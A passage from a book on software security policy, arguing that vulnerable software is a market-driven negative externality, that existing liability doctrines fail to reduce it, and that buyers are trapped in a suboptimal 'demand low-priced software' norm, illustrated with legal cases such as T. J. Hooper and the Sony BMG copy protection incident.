PDF. But do Evince and Sumatra PDF have more or fewer vulnerabilities 
than Adobe Reader? It’s hard for Alice to know, as we explain in Chapter 7. 
Vulnerability-Exacerbating Features of the Software Market 
Several features of the software market exacerbate the problem of vulner­
able software. The first is that it is a market with tremendous first-mover
advantages. The sooner you get your company’s software to market, the 
* 	 Adobe Reader (formerly Adobe Acrobat Reader) did have numerous vulnerabilities in 2009 and 
2010. As of the time of this writing, it is clear that Adobe has tried to patch Reader to remove the 
vulnerabilities; it is not yet clear how well Adobe has succeeded. 
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more likely you are to sell a lot of it. Switching costs are one reason first-
movers may get an advantage. One significant switching cost for software 
is the cost in some combination of time, effort, and money of purchasing, 
installing, and learning a new piece of software. High switching costs can 
lock customers into a product. 
Network effects are another way first movers can get an advantage. A 
product has a network effect when its value to you depends heavily on the 
number of other users of the product. Telephones in the early twentieth 
century and fax machines in the 1980s both had strong network effects. 
The Adobe Reader is a particularly interesting case because its price is
zero—it’s free. Here the explanation of what is going on comes from
the network effect. The PDF standard itself was originally a proprietary 
standard owned by Adobe, and Adobe did and still does make money by
selling other tools for working with PDF. In the early days of PDF (the
mid-1990s), Adobe had a great interest in seeing PDF become a standard
and fairly early on began distributing a PDF viewer for free. Other things 
being equal, a rational software company wants to get its product in the 
hands of users as soon as possible to take advantage of lock-in. Making 
software more secure does take additional time and effort and thus would 
interfere with being first to market. 
An unusual feature of software, as opposed to other products, is
that it can be changed after it is sold, by the release of patches or point 
upgrades. This possibility can combine with lock-in and the network effect 
to encourage companies to ship more vulnerable software sooner, count­
ing on fixing the defects later. Security expert Ross Anderson blames pre­
cisely this strategy for the insecurity of Microsoft Windows in the 1990s.
Microsoft’s philosophy in the 1990s was, according to Anderson, “ship 
it Tuesday and get it right by version 3.”1 Shipping vulnerability-ridden 
software can actually work to the vendor’s advantage. Security patches 
cost vendors something to carry out, but they also have potential benefits.
Every time you agree to a patch you also generally agree to new terms of
service for the product, so this is an easy way for the vendor to change the 
terms of service. Another benefit is that the patches help sell new versions
of the software. By stopping security patches on older versions of software,
a vendor can strongly pressure customers to upgrade. Consider Windows 
XP. As of mid-2011, although it is no longer for sale, Windows XP is still
in wide use, and Microsoft is still providing security upgrades for XP
(Service Pack 3). Once Microsoft stops providing XP security upgrades 
(which Microsoft currently says it will do in April 2014), many customers,
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particularly business customers, who are perfectly happy with XP may feel 
they have to upgrade. 
We conclude our discussion of the vulnerability-exacerbating features
of software markets by noting that software vulnerabilities are an example 
of what economists call negative externalities. 
Negative Externality and Ways to Cure It 
A negative externality is a cost created by one party and imposed on
another without any corresponding costs falling on the first party. Classic 
examples are the costs of air or water pollution from manufacturing or
the cost of diminished efficiency of antibiotics for the whole population
caused by overuse of antibiotics by particular individuals or physicians.
Negative externalities typically lead not just to costs being shifted from one 
party to another, but also to a net decrease in benefit to society as a whole. 
The problem is that the cost for a producer to produce something with
a negative externality is less than its true cost, so the producer overpro­
duces. Software vulnerabilities are negative externalities. Vulnerabilities
cost buyers billions, but software developers incur no corresponding loss, 
since buyers continue to buy their software in spite of its vulnerabilities.
Since they do not bear the loss, profit-motive-driven businesses do not
invest time, effort, and money in eliminating negative externalities. Such 
investment would just reduce profits.* 
Society as a whole would clearly be better off if software developers did 
make the investment in reducing vulnerabilities. Developing software 
with fewer vulnerabilities would consume less time, effort, and money 
than the billions we lose from unauthorized access. In short, society as a
whole would make more efficient use of our economic resources if there 
were no negative externality. 
We can end the externality in two ways: Use legal regulation or wait
for buyers to change their attitudes and demand secure software. Legal 
regulation ends the externality by requiring software developers to com­
pensate buyers for losses caused by vulnerabilities. The legal requirement
of compensation is a way to make buyers’ losses impose corresponding 
losses on developers. When legal enforcement is sufficiently widespread 
and certain, profit-motive-driven developers have an incentive to invest in
* 	 There is another negative externality surrounding vulnerable software, which we discuss in
Chapter 9: In many cases, if your computer is taken over as a result of a vulnerability, your com­
puter becomes part of a botnet; you yourself suffer little or no harm, but the botnet inflicts harm
on third parties. 
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reducing vulnerabilities.* The most popular approaches for reducing the 
problem of negative externalities advocate one of the following models of
liability: strict liability, negligence, or liability for defective design. 
These models tell us what standard a company must meet in order to
avoid liability. The models are most commonly associated with common
law tort claims (under which typically one private party sues another pri­
vate party for some harm done to them), but statutory law may also incor­
porate and adapt these models. Both tort and statutory approaches have
their problems; we are not discussing the choice between them here. For 
the purposes of our discussion, both torts and statutes provide a means to
enforce a standard that a company must meet. The importance of these 
three particular models of liability is that they are very common patterns 
in the law. We consider each in turn and explain why each will not work
for software. 
STRICT LIABILITY 
Strict liability makes you responsible for losses you cause, even if the loss
was not your fault. Think of it as a zero-tolerance policy: Cause harm and 
you pay. This ends the externality by shifting responsibility for the entire
cost from the buyers to the software developers, but it has other conse­
quences that make it unacceptable. The difficulty is that software vul­
nerabilities differ fundamentally from the type of case in which the law 
typically imposes strict liability. 
The classic examples of strict liability are inherently dangerous activi­
ties like keeping wild animals and blasting with explosives. We will use 
the animal example. Keep wild animals and you are strictly liable for the 
harm they cause. The contrast with software vulnerabilities turns on this
point: You can take precautions to prevent the harm, and the more precau­
tions that you take, the more that the risk of harm decreases. You cannot
completely eliminate the risk, but you can make it as small as you like. You 
could, for example, keep your tigers in a cage within a cage, with top-of­
the-line locks, and 24-hour electronic monitoring and any number you 
like of round-the-clock human guards. You will eventually decide, at some
* 	 Legal regulation, as a practical matter, is not quite so easy. The incentive exists only to the extent
that businesses expect the law to be enforced effectively and, even then, only to the extent that 
the expected legal liability is greater than the expected gain from violating the law. Furthermore, 
sometimes the law permits sellers to write the contracts of sale to disclaim liability. Except for the 
contractual point, we address these concerns in the next chapter. We discuss contractual concerns
in Chapter 11. 
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point, that the time, effort, and money required for increased precautions 
is not worth the degree of risk reduction they offer, but the point is that
you have the choice.* Software developers don’t have the option of driving 
risks arbitrarily close to zero by spending larger and larger sums. No mat­
ter what they do, in sufficiently complex programs, enough vulnerabilities 
will remain to create a significant risk of loss. We first explain why this is
true and then why it argues strongly against imposing strict liability. 
There are two reasons significant vulnerabilities are inevitable in com­
plex software. First, to try to write vulnerability-free software is to engage 
in a battle of wits with a malicious opponent. The task is not just to write 
software that reliably does what is designed to do, but also to do it in a  
way that an adversary cannot exploit and make that software do some­
thing else. All software developers trying to minimize bugs in general 
must program Murphy’s computer, where anything that can go wrong will
go wrong. However, software developers trying to minimize security vul­
nerabilities must program Satan’s computer, a computer under the con­
trol of an adversary. This is extraordinarily difficult to do, even when the 
developer is simply trying to prevent known attacks. If the software is to
be vulnerability free for a reasonably long period of time, then the devel­
oper must not only prevent known attacks, but also guard against the new 
attacks that will be developed. 
The second reason some software vulnerabilities are inevitable is the 
type of mathematics involved. Most engineering is governed by continu­
ous mathematics, whereas software is governed by discrete mathemat­
ics. In continuous systems, small errors in inputs to a system yield only 
small errors in the behavior of the system. The discrete mathematics that
governs software offers no such guarantees. An error in a single line of a 
million-line program can cause arbitrarily large errors. (Software engi­
neering history contains many examples of cases of small errors triggering 
very expensive losses. One notable early example was the destruction of
NASA’s 1962 unmanned Mariner I spacecraft bound for Venus in flight,
supposedly because one single character was wrong in its software.) 
For these reasons, it is generally agreed that software of significant com­
plexity will contain vulnerabilities. That is why elsewhere in this book, 
* 	 The availability of insurance will influence your initial decision about whether to keep wild ani­
mals and about what precautions to take when you do so. It can make more sense to insure against
a loss rather than take costly steps to prevent it. The availability of insurance plays an important
role in judicial and legislative decisions—not just about when to impose strict liability, but also
generally in decisions about what sorts of people should be liable for what sorts of losses. 
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especially later in this chapter and in Chapter 7, we speak of reducing soft­
ware vulnerabilities and of not making software vulnerability free or even 
almost vulnerability free. Compare keeping wild animals. Suppose that if
you were careless, the animals would constantly escape, but that no matter 
how careful you were, the animals would escape once a month, creating 
a significant risk of harm. How many people would keep animals if they
faced once-a-month liability for the harm they would inevitably cause?
Zoos might, but visiting them would be very costly since their fees would 
have to generate enough money to cover the amounts they would con­
stantly pay out in compensation (or in insurance premiums). 
Strict liability would create this situation for software vulnerabilities.
This would significantly discourage the sale of existing software and 
the development of new programs. Only when developers could charge
enough to cover their inevitable liability would they offer software for sale. 
This is a highly undesirable outcome in a world now highly dependent on
digital technology and on its continued development and refinement. We
feel it is clear that strict liability is a last resort option to address the exter­
nality issues currently raised by software vulnerabilities. 
We can avoid the problems that confront strict liability by making soft­
ware developers liable for only the losses caused by some vulnerabilities— 
not all of them. This is what negligence liability and liability for defective 
design do. The problem is that the way in which both those approaches
impose liability for losses means that neither approach will sufficiently 
reduce the number of vulnerabilities currently found in software. 
NEGLIGENCE 
To avoid negligence liability, you must act reasonably. If you fail to act as
a reasonable person would, you are legally liable for the losses caused by
the foreseeable harms of your actions. Thus, a software developer would 
be liable in negligence for losses resulting from a vulnerability only if the 
vulnerability were a foreseeable result of the developer’s failure to act as
a reasonable developer would. The problem is that holding developers to
this standard would not sufficiently reduce vulnerabilities.* 
* 	 There would also be a number of other problems, including determining what counts as being a 
reasonable software developer and case-by-case difficulties in establishing that the vulnerability 
actually caused the harm (as opposed, for example, to improper installation or use of the soft­
ware). In addition, the typical harms would be so small per individual that the recovery would be
too small to fund the litigation. Class actions would be the only viable approach. 
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This is not to say that a negligence standard would not reduce vulner­
abilities at all. It would reduce the occurrence of certain types of vulner­
abilities. Software “buffer overflows” are a good example. A buffer is a 
temporary location that a program uses to store a group of characters that
it has just read in before it sends those characters to the CPU for process­
ing. Programmers can take effective steps to ensure that, before storing a 
group of characters in a buffer, the program checks to see if the capacity of
the buffer is large enough to contain all the characters. To fail to do so is
to create a buffer overflow vulnerability, which hackers can exploit to take 
over a computer and make it run programs that they have written. 
The SANS Institute is a well respected computer security organiza­
tion known, among other things, for various lists of top computer secu­
rity problems. “Classic buffer overflows” rank third on both the SANS
Institute’s 2010 and 2011 lists of the top 25 most dangerous software 
errors. This is outrageous. Buffer overflows (and how to avoid them) have
been well understood for more than a decade. Indeed, it is fairly straight­
forward to write new programs and to change old programs so that they
don’t contain this vulnerability. Currently, the catalog of all known vul­
nerabilities from which SANS picks its top 25 is the Common Weakness
Enumeration (CWE), maintained by MITRE with support from the US
Department of Homeland Security. The CWE is only slightly more tem­
perate in its language describing the classic buffer overflow than we were
when we called these vulnerabilities “outrageous.” The CWE says, “The 
existence of a classic overflow strongly suggests that the programmer is
not considering even the most basic of security protections.”2 
Holding developers negligent in such cases might reduce the number 
of software vulnerabilities, but it would not reduce them enough. In prac­
tice, negligence liability provides developers with an incentive to avoid
egregiously bad programming practices, but we need to do more than just 
eliminating the outrageous. The problem is that, while many software 
developers avoid some patently bad practices (including avoiding creating
buffer-overflow vulnerabilities), they do not follow all the programming 
practices they could or should. 
There are widely recognized—but not widely adopted—programming 
practices that would significantly reduce vulnerabilities while costing less
than the aggregate cost of vulnerability-mediated unauthorized access.
Imposing negligence liability will not result in software developers follow­
ing those practices. We first characterize the practices and then argue that
negligence liability will not result in their adoption. 
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Vulnerability-Reducing Practices for Software Development 
A vulnerability is a particular type of defect, similar in principle to any 
other software defect (or “bug”), such as giving the wrong answer or caus­
ing the system to crash, and the same high-level picture holds for both
software defects in general and software vulnerabilities in particular: The
quantity and the severity of the defects in a piece of software depend very
much on the design and programming practices used. To reduce defects 
(and hence vulnerabilities), there is widespread agreement that software 
producers should ensure adequate overall management of the creation of
the software, from first deciding what the behavior of the software should
be through designing it, writing it, and, especially, testing it. There is also 
widespread agreement on how to write and design the actual computer 
programs (“code” in the language of programmers) that collectively are 
the software. This includes, for example, such matters as the choice of
appropriate data structures and algorithms, structuring the flow of con­
trol, obeying abstraction barriers, and breaking the overall software into
appropriately sized pieces. 
The techniques for developing sufficiently defect-free software are col­
lectively known as software engineering. How to write individual com­
puter programs well and the basics of software engineering are fairly well
settled subjects* and should be known by competent software develop­
ers. For example, the basics of how to construct good quality code and 
the basics of software engineering form a significant fraction of the core
(required) portion of the model computer science bachelor’s degree cur­
riculum jointly published by the two main professional societies for com­
puter science in 2001 and updated in 2008.3 Furthermore, most of that
same material was also found in the earlier 1978 and 1991 versions of
that model undergraduate curriculum, though of course some important
details have changed as the field has evolved. Writing secure software also 
requires some additional knowledge. Some minimal training in writing 
secure software is a standard part of today’s undergraduate curriculum for 
computer science majors, but was not so common a decade ago. 
In general, a great deal is known about what sorts of software devel­
opment practices lead to fewer software defects and what sorts lead to
* 	 However, the choice of which software engineering methodology is the best one for managing
various sorts of projects is contentious. In particular, there is debate about the relative merits of 
a traditional methodology called the “waterfall model,” with its origins in the late 1960s, versus
various other methodologies, such as Spiral and Agile. Also, even the best software engineering
methodology can only reduce the number of defects—not eliminate all defects. 
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more defects. One particular area of software engineering that has seen 
real progress in the past 20 years or so is testing. There are a whole host 
of automated techniques for testing whether software under development
contains errors, and use of these techniques significantly lowers the defect
rate in the final product. Failure to use any of these newer testing tech­
niques leads to higher defect rates. It is common wisdom among experts
in software development that adopting techniques and procedures of the
sort we have been discussing leads to lower defect rates, and various stud­
ies from over the years back up this common wisdom. 
Negligence Liability Will Not Lead to Adoption of Better Practices 
Imposing negligence liability will not lead to the adoption of better prac­
tices for software development, because conformity to custom and pre­
vailing industry standards is evidence of reasonableness. In practice, it is
difficult to overcome a business’s claim that it followed industry practice
and hence proceeded reasonably. This is not a defect in the law; on the 
contrary, it is a sensible approach to assessing reasonable development
choices for anyone who is in the business of developing products to sell
for a profit. Imagine you are a software developer. What practices should
you adopt when designing software for sale in the current market? Buyers 
demand low-priced software, and your competitors cater to this demand
with inexpensive but insecure software. If you invest in developing secure
software, you are likely to end up with a product for which there is little
or no demand, because your competitors were earlier to market, offered 
lower prices, or both. So, as a reasonable business person, what choice do
you make? Like everyone else—everyone who remains in business, that
is—you choose to make inexpensive, insecure software. Your decision is
the one that a reasonable business person would make. This is the courts’ 
view too—most of the time. 
On occasion, courts do reject such reasonableness claims. The classic
example studied by most first-year law students is the T. J. Hooper4 case. In
March 1928, two tugboats, the Montrose and the T. J. Hooper, encountered
a gale while towing barges, and the tugs and the barges sank. The tugs did 
not have shortwave radios. Had they been so equipped, they would have
received reports of worsening weather, and, had they received the reports,
they would have put in at the Delaware breakwater to avoid the storm.
Shortwave radios, however, were new technology, and the custom and 
practice was for tugs not to have a radio. The court nonetheless held that the
tugs were negligently unseaworthy because they lacked shortwave radios. 
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The T. J. Hooper illustrates a common pattern: (1) an activity imposes a 
significant risk of harm on third parties; where (2) those engaging in and 
benefiting from the activity underinvest in protecting the third parties; (3) 
the law responds by imposing a duty to take reasonable steps to prevent 
harm to third parties; where (4) other things being equal, a reasonable step 
is one that reduces expected damage to third parties by an amount greater 
than the total cost of the step. Current software development practices 
appear to fit this pattern. Software developers could follow practices that
would reduce expected losses by an amount less than they would spend;
instead, developers ignore those practices. Shouldn’t the law hold that not
following the practices is negligent? It is unlikely that the courts will do so, 
and it is not at all clear that they should do so. There are two key differences 
between shortwave radios of the T. J. Hooper and software development. 
The first is that in 1928 the cost of shortwave radios was relatively small.
As the court put it in the language of the day, “An adequate receiving set 
suitable for a coastwise tug can now be got at small cost and is reasonably 
reliable if kept up; obviously it is a source of great protection to their tows.”5 
The cost did not put a barge owner at a competitive disadvantage; indeed, 
it arguably conferred one since the owner could offer lower risk transport 
at the same cost as competitors. This is a critical factor in making it unrea­
sonable not to acquire a radio—even in the market context at the time.
The second difference is that barge owners could easily make a rough and 
ready comparison between the cost of the radio and the expected losses
avoided by its use. The losses, when they do occur, can be huge; while the
occurrence of violent storms is difficult to predict, their occurrence from
time to time is certain. This is a key factor in justifying the holding of neg­
ligence. If the comparison was uncertain and controversial, it would be far 
less clear that owners acted unreasonably. 
Building high-quality software is not like buying a shortwave radio for 
a boat. Adopting software development practices that significantly reduce
vulnerabilities is costly enough to put developers who adopt them at a sig­
nificant competitive disadvantage, and it is quite difficult for developers to
compare the costs of reducing vulnerabilities to the benefits of doing so. 
We have argued already for the competitive disadvantage point, so we now 
turn to the claim that the comparisons are difficult. 
The claim may seem wrong. Indeed, didn’t we begin this chapter by
claiming just the opposite? We noted that society as a whole loses billions 
from vulnerability-mediated unauthorized access and that improving
software would yield a huge net savings. To know this, however, is just to
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know that if we invested more in software development than we now do,
we would be better off overall. It is not to know exactly how much to invest,
and that is what the developers would need to know. 
Why Developers Must Know How Much to 
Invest in Reducing Vulnerabilities 
The law cannot simply tell developers “invest more.” Compare giving stu­
dents an incentive to engage in adequate explanation and reflection by
telling them they must write a paper of a certain number of pages to get a 
passing grade but not telling them how many pages. Not only would that
be unfair, it would be a very bad way to create an incentive for sufficient
explanation and reflection. Some would write too little; some would write 
too much, either by padding without adequate reflection or by devoting 
too much time to the project when the time would have been better spent 
otherwise. The same would happen with software. We want developers to
invest the right amount, not too much or too little, on reducing software 
vulnerabilities. The less that developers invest, the greater is the risk of
loss from unauthorized access and hence the greater the investment that
buyers must make in avoiding those losses or recovering from them when
they occur. 
This is an example of the general sorts of trade-offs we discussed in
Chapter 1. Everybody wants to minimize the outlay of time, effort, and 
money, so as to have more to expend elsewhere, and all other things being 
equal, society wants to minimize the combined outlay of all parties. Thus,
the investments we want are the ones that give us the optimal trade-off 
among the competing goals of reducing, avoiding, and recovering from
losses from unauthorized access and all other spending. Which invest­
ments are those? 
Consequences of Not Knowing How Much 
to Invest in Vulnerability Reduction 
Although we know that society as a whole is currently underspending on
reducing vulnerabilities, we do not yet know how much additional spend­
ing is worthwhile. The question is complex with plausible arguments for
competing options. When courts cannot give businesses a sufficiently clear 
indication of what they should do instead of following prevailing industry
practices, it is quite difficult to convince a court that a business that fol­
lowed prevailing practices nonetheless acted unreasonably. Egregiously bad
programming practices, such as creating buffer overflow vulnerabilities, are
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an exception. Putting such cases aside, negligence liability will not create a 
sufficient incentive to adopt vulnerability-reducing development practices. 
More broadly, software defects, in general, and vulnerabilities, in par­
ticular, lie along a continuum that we can think of as having three broad 
regions. At one end are egregious bugs—that is, bugs caused by egregiously 
bad programming practices. In the middle are bugs caused by mediocre
but not egregiously bad programming practices. At the far end are the 
inevitable bugs that will exist no matter what the software engineering 
practices use. A negligence liability regime will, at best, help only with the 
egregious end of this egregious–inevitable continuum. Of course, noth­
ing can help with the inevitable end of the continuum. The problem with
a negligence regime is that it will not help with the middle of the con­
tinuum, and we believe that that middle is quite large. 
Essentially the same arguments lead to the same conclusion for product 
liability for defective design. 
PRODUCT LIABILITY FOR DEFECTIVE DESIGN 
A product is defective in design when its use involves a foreseeable and 
unreasonable risk of harm. Holding software developers liable for defec­
tive design would create an incentive for developers to adopt vulnerabil­
ity-reducing development techniques and procedures, as long as courts
hold that not adopting them creates a foreseeable and unreasonable risk
of harm. However, holding developers to this standard would not suffi­
ciently reduce vulnerabilities. Just as with negligence, it would provide an
incentive to avoid the egregious defects of the sort we find in the SANS
list of the top 25 most dangerous software errors, but it would not provide 
a sufficient incentive to adopt vulnerability-reducing practices generally.
The reason is the same as in the negligence case: Following existing cus­
tom and practice is evidence of reasonableness, and, as a practical matter, 
it is difficult to overcome a business’s claim that it followed the prevail­
ing industry practices and hence acted reasonably.* Thus, extreme cases
aside, it is unlikely that courts will hold that not adopting vulnerability-
reducing development techniques and procedures creates an unreason­
able risk of harm. 
* 	 Evidence of industry practices is relevant under both of the main tests used to determine defec­
tiveness: the “risk/utility test” (a product is defective when its risk of harm exceeds its benefits)
and the “consumer expectations” test (a product is defective when it fails to meet the reasonable 
expectations of consumers). 
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THE STATUTORY ALTERNATIVE
 
The common law doctrines of strict liability, negligence, and liability for 
defective design fail to provide what we need. So why not simply design
and pass a statute that will succeed where the common law fails? This is
what we suggest in Chapter 7, but there is one statutory design flaw to
avoid: modeling the statute too closely on the common law requirements
for strict liability, negligence, or product liability. Our critique of strict
liability applies to any statute that incorporates such an approach, and our 
critique of negligence and product liability applies to any statute that incor­
porates a reasonableness requirement for software development where the 
courts will rely primarily on custom and prevailing industry practice to
define what counts as “reasonable.” Unfortunately, relying on reasonable­
ness requirements is quite common. As information security law expert
Tom Smedinghoff notes, “Laws and regulations rarely specify the secu­
rity measures a business should implement to satisfy its legal obligations.
Most simply obligate companies to establish and maintain ‘reasonable’ or
‘appropriate’ security measures, controls, safeguards, or procedures, but 
give no further direction or guidance.”6 
So what will work to reduce software vulnerabilities caused by mediocre
software development practices? We have eliminated strict liability, neg­
ligence, and product liability, and we have just noted that statutes by and
large face the same difficulties. Perhaps we were too quick to dismiss the 
alternative to legal regulation: Namely, wait for buyers to change their atti­
tudes and demand secure software. Maybe we don’t need legal regulation. 
WE ARE TRAPPED AND ONLY LEGAL 
REGULATION WILL RELEASE US 
If buyers demanded more secure software, profit-motive-driven develop­
ers would (other things being equal) meet that demand. And, it seems
reasonable to think that buyers will—eventually—understand that soft­
ware contains vulnerabilities that cost billions of dollars (and, more spe­
cifically, may cost them substantial sums). There is, after all, increasing
public concern about unauthorized access and increasing awareness that
vulnerable software is one key factor in enabling unauthorized access.
Once buyers realize that collectively they will be better off with more
secure software, won’t they then demand (i.e., be willing to pay for*) such 
* 	 Recall that we are using “demand low-priced software” to mean “refuse to pay a higher price for 
(or refuse to wait for later-to-market) software that contains fewer vulnerabilities.” 
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software? Unfortunately, no. Even if buyers realized that they would be
better off with more secure software, they would be unlikely to demand
it. The problem is that buyers are “playing software” without a helmet; 
that is, they are trapped in a suboptimal coordination norm. As we argue 
in more detail in the next chapter, legal regulation is required to release 
us from the trap. 
The norm is that buyers demand low-price software. The norm is an  
example of a very common kind of coordination norm: a product-risk
norm. A key feature of such norms is that, when value optimal, they ensure
that the design and manufacture of products impose only acceptable risks 
on buyers. We will examine three examples of value optimal product-risk 
norms. The examples illustrate the idea of a product-risk norm and pro­
vide the background against which we will assess the demand low-priced 
software norm. After that, we will conclude this chapter by returning to
the low-priced software norm and arguing that it is indeed a coordination
norm—in particular a product-risk norm—but that it is not value optimal. 
Before we turn to the examples, we should briefly illustrate the role
of product-risk norms in a typical consumer purchase. So imagine that, 
when Barbara discovers that her water heater no longer works, she pur­
chases a new one. She takes it for granted that the gas pilot light will not
stop burning every few days, that the water heater will not burst, that the 
materials are sufficiently corrosion resistant, that the water heater will
function properly for about 10 years, and so on. Barbara does not try to
confirm these assumptions. She does not investigate the water heater, its 
design specifications, or its manufacturing process. She simply assumes
that its design and manufacture do not impose unacceptable risks (as long 
as she uses the water heater for its intended purpose). She assumes this
because she assumes that the sale of the water heater is governed by rel­
evant product-risk norms.* 
* 	 Some readers may be asking, “What about the water heater’s warranty?” We do not think the war­
ranty really changes the argument. Barbara almost certainly does not read her warranty and prob­
ably doesn’t even know if it is for 6 years or 10 years. She simply expects, correctly, that because
of norms, the heater is fairly likely to function correctly for about 10 years and extremely likely to
function for at least 6 years, and that if it stops functioning correctly after only a few years, it will
be replaced at little or no cost to her. We offer a detailed explanation of Barbara’s behavior when
we develop our general theory of consumer contracting in Chapter 11. 
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THREE EXAMPLES OF VALUE OPTIMAL 
PRODUCT-RISK NORMS 
We give three examples to put some flesh on our abstract explanation
of product-risk norms as coordination norms that, when value optimal, 
ensure that the design and manufacture of products impose only accept­
able risks on buyers. We do not argue that our examples are value optimal.
It will be plausible enough that, for purposes of illustration, we may simply 
assume it. 
The Fitness Norm 
The fitness norm is that buyers demand products that are fit for the ordi­
nary purpose for which such products are used. There is no doubt that the 
fitness norm is indeed a norm. The required behavioral regularity exists: 
Buyers do demand fit products. Indeed, the demand for fit products has 
a long history. As British common law responded to the rise of a market 
economy in the seventeenth century, it explicitly noted that that the com­
mercial custom and practice were to offer fit products. Earlier still, ancient 
Roman law also noted the same custom and practice. The existence of the 
demand is, of course, consistent with spectacular failures to meet it. For 
example, in June 2010, in just a small fraction of the recalls that month, 
“McDonald’s asked customers to return 12 million glasses emblazoned 
with the character Shrek. Kellogg’s warned consumers to stop eating 28 
million boxes of Froot Loops and other cereals. Campbell Soup asked the 
public to return 15 million pounds of SpaghettiOs, and seven companies 
recalled two million cribs.”7 
The fitness norm is a coordination norm, provided buyers think they 
ought conditionally to demand fit products. Consumers do indeed think 
this. As long as everyone conforms, nonconformity would mean unilater­
ally demanding an unfit version of the product. The demand would go
unfulfilled, and the nonconforming buyer would forgo the purchase of
the product or, more likely, conform and buy a fit version of the product.
To the extent that doing without the product is unacceptable, the buyer 
will think he or she ought to conform and buy a fit product. Of course, 
if enough buyers were interested in purchasing “unfit” products, sellers  
would begin to offer them (other things being equal), and a new fitness
norm would develop to govern those sales; products considered fit under
the new norm would not be fit under the old one. 
Fitness is determined by contextually sensitive normative judgments.
It could hardly be otherwise. Fitness depends on the type of product, the
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circumstances in which it is ordinarily used, the knowledge and skill of
typical buyers, and the values of typical buyers. In a significant range of
cases, there is sufficient overlap in buyers’ values, use, knowledge, and skill
that buyers converge on roughly the same judgments of fitness in particu­
lar cases. An Alabama case from the 1970s, Lindy Homes v. Evans Supply
Co., is an excellent example even though it does not concern the fitness
norm, at least not directly. The case concerns what is called the implied
warranty of merchantability, which is part of every contract for the sale of
goods (unless the seller explicitly disclaims it) and under which the seller 
warrants that the goods are fit for the ordinary purpose for which such 
goods are used.* The task before the court was to determine fitness. 
Lindy Homes used electrogalvanized sixpenny casing nails in cedar 
plywood siding. Electrogalvanized nails rust when used in cedar; nails 
galvanized by a different process—“hot dipped”—are far more rust resis­
tant, and the standard practice in the construction industry is to use hot-
dipped nails in cedar. When the electrogalvanized nails rusted, Lindy 
Homes sued the seller, Evans Supply, for breach of the implied warranty
of merchantability. The court held that the electrogalvanized nails were fit
for the ordinary use made of them, a use that did not include their use in
cedar. The court relied on the industry-wide normative judgment that it
was “common knowledge in the trade that galvanized casing nails should
not be used in exterior siding because a…‘hot-dipped’ galvanized nail is
proper in such a condition.”8 To rely on an industry-specific judgment  
about the appropriate nail to use in a particular kind of siding is to rely on
highly context-sensitive judgments. 
The Negligent Design/Manufacture Norm 
The negligent design/manufacture norm is that buyers demand prod­
ucts that do not, as a result of negligent design or manufacture, impose
an unreasonable risk of loss on buyers using the product in ways a reason­
able consumer would. The relevant behavioral regularity exists: Buyers do
demand such products.† Moreover, buyers think they ought conditionally
* 	 The norm that people demand fit goods and the legal rule are not the same; people generally know
and adhere to the norm while only the relatively legally sophisticated are aware of implied war­
ranty of merchantability, which is found in the Uniform Commercial Code §2-314. 
† 	 People clearly do think that sellers ought not to offer products that, as a result of negligent design, 
impose an unreasonable risk of loss on buyers who use the product in the intended way. It is dif­
ficult to imagine anyone sincerely claiming that sellers ought to offer such negligently designed
products and, indeed, precisely the opposite conviction has played a central role in the develop­
ment of product liability law. 
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to demand such products. The argument is essentially the same as in the
case of the fitness norm. A buyer who had an unusual use for a particular
product might not care whether the intended uses of the product imposed 
an unreasonable risk of loss; however, as long as everyone else conforms,
such a buyer will think he or she ought to conform. Nonconformity would 
mean unilaterally demanding an unreasonably risky product; the demand
would go unfulfilled, and the buyer would forgo the purchase of the prod­
uct. To the extent that going without is unacceptable, such a buyer will
think he or she ought conditionally to conform by buying a product that
is not unreasonably risky. As with the fitness norm, if enough buyers were
interested in purchasing unreasonably risky products for an alternate use,
sellers would begin to offer them (other things being equal), and a new 
negligent design/manufacture norm would develop to govern those sales;
products not unreasonably risky under the new norm might still be “rea­
sonably risky” for the range of uses governed under the old norm. 
Applying a negligent design/manufacture norm requires making two
context-sensitive, fact-specific judgments: one about unreasonable safety
and one about negligent design or manufacture. The Sony BMG music 
CD copy protection incident (which wound up in legal proceedings before
the Federal Trade Commission as In the Matter of Sony BMG Music 
Entertainment9) provides an excellent illustration. 
Between 2003 and 2005, Sony BMG Music Entertainment sold many
millions of music CDs containing one of two copy protection programs: 
XCP or MediaMax. The programs allowed users to make only three physi­
cal copies of the CD; prevented users from converting the music files to
formats needed to play the music on various devices, especially iPods; 
allowed Sony to monitor users’ listening habits; and were extremely dif­
ficult to uninstall. Buyers were not given adequate notice of these aspects 
of the software. Thus, using the CDs imposed three largely undisclosed 
risks: (1) interference with plans to make more than three copies, (2) inter­
ference with plans to play files on other devices, and (3) the invasion of
privacy by monitoring buyers’ listening habits. Buyers found these risks 
unreasonable. Sony experienced a steep drop in sales, spent millions to
settle lawsuits, and suffered serious damage to its reputation with both
artists and customers. 
In this case, consumers made fact-specific, context-sensitive judg­
ments about the number of times it is reasonable to expect to copy music 
from a CD to other devices, about what sorts of devices it is reasonable to
copy to, and about the legitimacy of monitoring music listening habits. 
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Fact-specific, context-sensitive judgments were also the basis of the deter­
mination by the FTC that Sony’s actions were negligent. It was a standard
practice in the music CD business to conduct a prerelease review of copy 
protection software to determine whether it worked acceptably. (We write 
“was a standard practice” and not “is a standard practice” because by 2007 
all the major labels had given up on copy protection for audio CDs.10) 
Sony BMG certainly had the resources to conduct a review of the copy 
protection. Either there was no review, or there was a negligently bad 
review. Any adequate review should have discovered unacceptable issues
in the software. Sony may perhaps have relied on the expertise of the 
supplier of XCP (First4Internet) or of MediaMax (SunnComm) instead
of conducting its own review, but such reliance would clearly have been 
misplaced. First4Internet’s expertise was in content-filtering technology, 
particularly the recognition of pornographic images; it had virtually no
experience in copy protection technology. SunnComm was no better. It
began as a provider of Elvis impersonation services and had the lack of
business savvy and technological insight to purchase a 3.5-inch floppy 
disk factory in 2001. It had virtually no relevant experience with copy pro­
tection software prior to entering the contract with Sony. 
This Sony copy protection example may seem to run counter to our 
overall argument. After all, it concerns software, and it shows the negli­
gent design/manufacture norm working. However, the Sony incident is
not a matter of software vulnerabilities caused by shoddy software devel­
opment practices. Rather, the Sony incident concerns software that Sony
deliberately had put on music CDs that caused unreasonable problems 
for the buyers of those CDs by doing what Sony (and the companies they
hired, SunComm and First4Internet) designed that software to do. It is
completely consistent with our overall arguments that the norms we are 
discussing in this section govern some aspects of software. Our claim is
that these norms do not apply to risks arising from software vulnerabilities.* 
* 	 Incidentally, software vulnerabilities also played a role in the overall Sony BMG incident. If you 
put one of the affected music CDs into your Windows computer, XCP or MediaMax surrepti­
